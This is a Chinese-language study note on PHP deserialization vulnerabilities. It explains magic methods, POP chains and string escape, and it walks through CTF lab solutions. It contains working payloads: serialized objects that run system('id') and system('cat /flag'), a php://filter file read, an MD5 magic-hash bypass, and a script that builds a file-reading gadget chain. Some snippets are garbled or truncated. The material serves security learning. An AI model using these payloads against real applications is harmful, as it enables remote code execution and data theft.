php序列化与反序列化

序列化基础知识

$value = ‘php://filter/convert.base64-encode/resource=/flag’

include(“/flag”); /flag 不是有效 PHP 脚本(没有 <?php),就会 白屏或报错

include执行文件的内容而不是显示

image-20250625113351918

image-20250625114200088

对象的序列化

image-20250625144545271

反序列化的特性

1.反序列化之后的内容是一个对象

2.反序列化生成的对象里的值,由反序列化里的值提供:与原有类预定义的值无关;

​ 不管有没有类 类里面原来定义的是什么

3.反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法)

反序列化就是把序列化后的参数还原成实例化的对象

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

a); } } $get = $_GET["benben"]; $b = unserialize($get); $b->displayVar() ; ?>

?benben=O:4:”test”:1:{s:1:”a”;s:13:”system(‘id’);”;}不明白我的为什么没有回显信息

魔术方法

常见的几个魔术方法:

名称 触发时机
__construct() 在对象实例化(创建对象)的时候自动触发
__destruct() 在销毁对象的时候自动触发
__wakeup() 执行unserialize()时,先会调用这个函数
__sleep() 执行serialize()时,先会调用这个函数
__call() 在对象上下文中调用不可访问的方法时触发
__get() 访问私有或不存在的成员属性的时候自动触发
__set() 对私有成员属性进行设置值时自动触发
__isset() 对私有成员属性进行 isset 进行检查时自动触发
__unset() 对私有成员属性进行 unset 进行检查时自动触发
__toString() 把类当作字符串使用时触发
__invoke() 当尝试将对象调用为函数时触发

what:一个预定义好的,在特定情况下自动触发的行为方法。

相关机制:

触发时机(最关键):动作不同触发的方法也不同

功能 参数(一些魔术方法会传参) 返回值

image-20250625183141632

__construst:

构造函数 在实例化一个对象的时候首先会去自动执行的一个方法

__destruct:

在反序列之后

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

image-20250625185048837

这里触发析构函数的是new和unserialize (反序列化得到的是对象 用完后会销毁)

serialize不会触发析构

__sleep

serialize序列化之前

image-20250625190737311

sleep在前

image-20250625190908712

image-20250625191336634

只会返回sleep里的username和nickname 因为在serialize时触发了sleep sleep里没有passwd

小例题

image-20250625191753751

__wakeup

在反序列化之前

image-20250705202706695

image-20250705202721518

POP链

image-20250705220024143

image-20250706090124017

image-20250706091820976

image-20250706092534270

字符串逃逸image-20250706095246893

减少和增多

反序列化字符串减少逃逸:多逃逸出一个成员属性第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

减少是吃掉 增多是吐出来

php-ser-libs

level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//class a{
// var $act;
// function action(){
// eval($this->act);
// }
//}
//$a=unserialize($_GET['flag']);
//$a->action();
class a {
var $act ="show_source('flag.php');";
function action(){
eval($this->act);}
}
$a=new a();
echo serialize($a);

?>

对输入的flag进行反序列化 再调用action

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class mylogin
{
var $user;
var $pass;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}

function login()
{
if ($this->user == "daydream" and $this->pass == "ok") {
return 1;
}
}
}
$b=new mylogin("daydream","ok");

echo urldecode(serialize($b));

漏洞在于这个程序他只看账号密码对不对 不管对象是谁 所以利用序列化构造字符串给输入 书面一点:

程序直接相信了反序列化后的对象,而没有验证对象的来源和合法性

level3

1
2
3
4
5
6
7
class mylogin{
public $user="daydream";
public $pass="ok";
}
$b=new mylogin("daydream","ok");

echo urlencode(serialize($b));

这里和第二关是一样的方法 只不过得到的参数需要通过cookie传进去

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 

class func
{
public $key;
public function __destruct()
{
unserialize($this->key);
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

unserialize($_GET['param']);

?>
<br><a href="../level5">点击进入第五关</a>

我们伪造一个 GetFlag 对象,它能执行代码。

然后我们把这个对象塞进一个 func 对象的 key 里面。

把整个 func 对象变成字符串(序列化)后,通过 param=... 参数传给服务器。

程序执行后,会反序列化出 func → 又反序列化出 GetFlag → 最终触发代码执行

靶场有问题开了其他靶场

PHPSerialize

level1

1
2
3
4
5
6
7
8
9
10
11
class FLAG{
public $flag_string = "HelloCTF{????}";

function __construct(){
echo $this->flag_string;
}
}

$code = $_POST['code'];

eval($code);

实例化flag类

new FLAG

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting(0);

$flag_string = "HelloCTF{????}";

class FLAG{
public $free_flag = "???";

function get_free_flag(){
echo $this->free_flag;
}
}

$target = new FLAG();//定义变量target并且new FLAG()进行实例化

$code = $_POST['code'];

if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}

code=$target->free_flag=$flag_string;

target是一个对象变量 这指向他的一个free_flag属性 再把flag_string赋值给free_flag(public是公有属性所以可以直接赋值)

level3

image-20250707172544231

var_dump(get_defined_vars()); 这段代码在 PHP 中的作用是:输出当前作用域中所有已定义的变量及其值

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class FLAG3{
private $flag3_object_array = array("?","?");
}//定义了flag3这个类里面的这个属性是private私有的
//再里面array是个数组

class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;//三个私有变量

function __construct() {
$this->flag3_object = new FLAG3();//定义这个方法 实例化了flag3
}

}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}

level5

[SWPUCTF 2022 新生赛]ez_1zpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo = 'hi';
public $md51 = 'weclome';
public $md52 = 'to NSS';

function __construct()//创建对象时
{
$this->impo = new dxg;
}
function __wakeup()//反序列化时
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()//把对象当成字符串时
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();//双等号判断 md5碰撞绕过
}

function __destruct()//对象销毁前
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;

function fmm()
{
$b = $this->a;
$b($this->title);
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}

md5 碰撞绕过

首先肯定是要触发tostring里面的比较的 tostring触发条件是当作字符串处理 所以__destruct里的echo会触发

触发destruct在对象被销毁之前 传入的nss执行完毕之后对象lt自动销毁 所以触发destruct 然后进入到tostring里的md5弱类型比较

这里的比较是

image-20250707095216681

就是md51和md52的md5值要相等同手md51和md52的原始值不能相同

满足之后就会触发return $this->impo->fmm();

也就是$lt->impo->fmm();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class dxg {}
class fin {
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
}
class lt {
public $impo;
public $md51;
public $md52;
}

// 构造 fin 对象
$fin = new fin();
$fin->a = 'file_get_contents';
$fin->title = '/flag';

// 构造 lt 对象
$lt = new lt();
$lt->impo = $fin;
$lt->md51 = '240610708';
$lt->md52 = 'QNKCDZO';

// 序列化输出
$payload = serialize($lt);
echo "Raw payload:\n$payload\n\n";
echo "URL encoded payload:\n" . urlencode($payload) . "\n";

然后会发现这里回显的是xdg中的nonono

原因是传入的payload使自动触发了wakeup(反序列化时)wakeup强制执行$this->impo = new dxg; return $this->impo->fmm();把$lt->impo = new fin() 给覆盖了

?NSS=O:2:”lt”:4:{s:4:”impo”;O:3:”fin”:3:{s:1:”a”;s:6:”system”;s:3:”url”;s:21:”https://www.ctfer.vip";s:5:"title";s:9:"cat /flag”;}s:4:”md51”;s:11:”s155964671a”;s:4:”md52”;s:11:”s214587387a”;}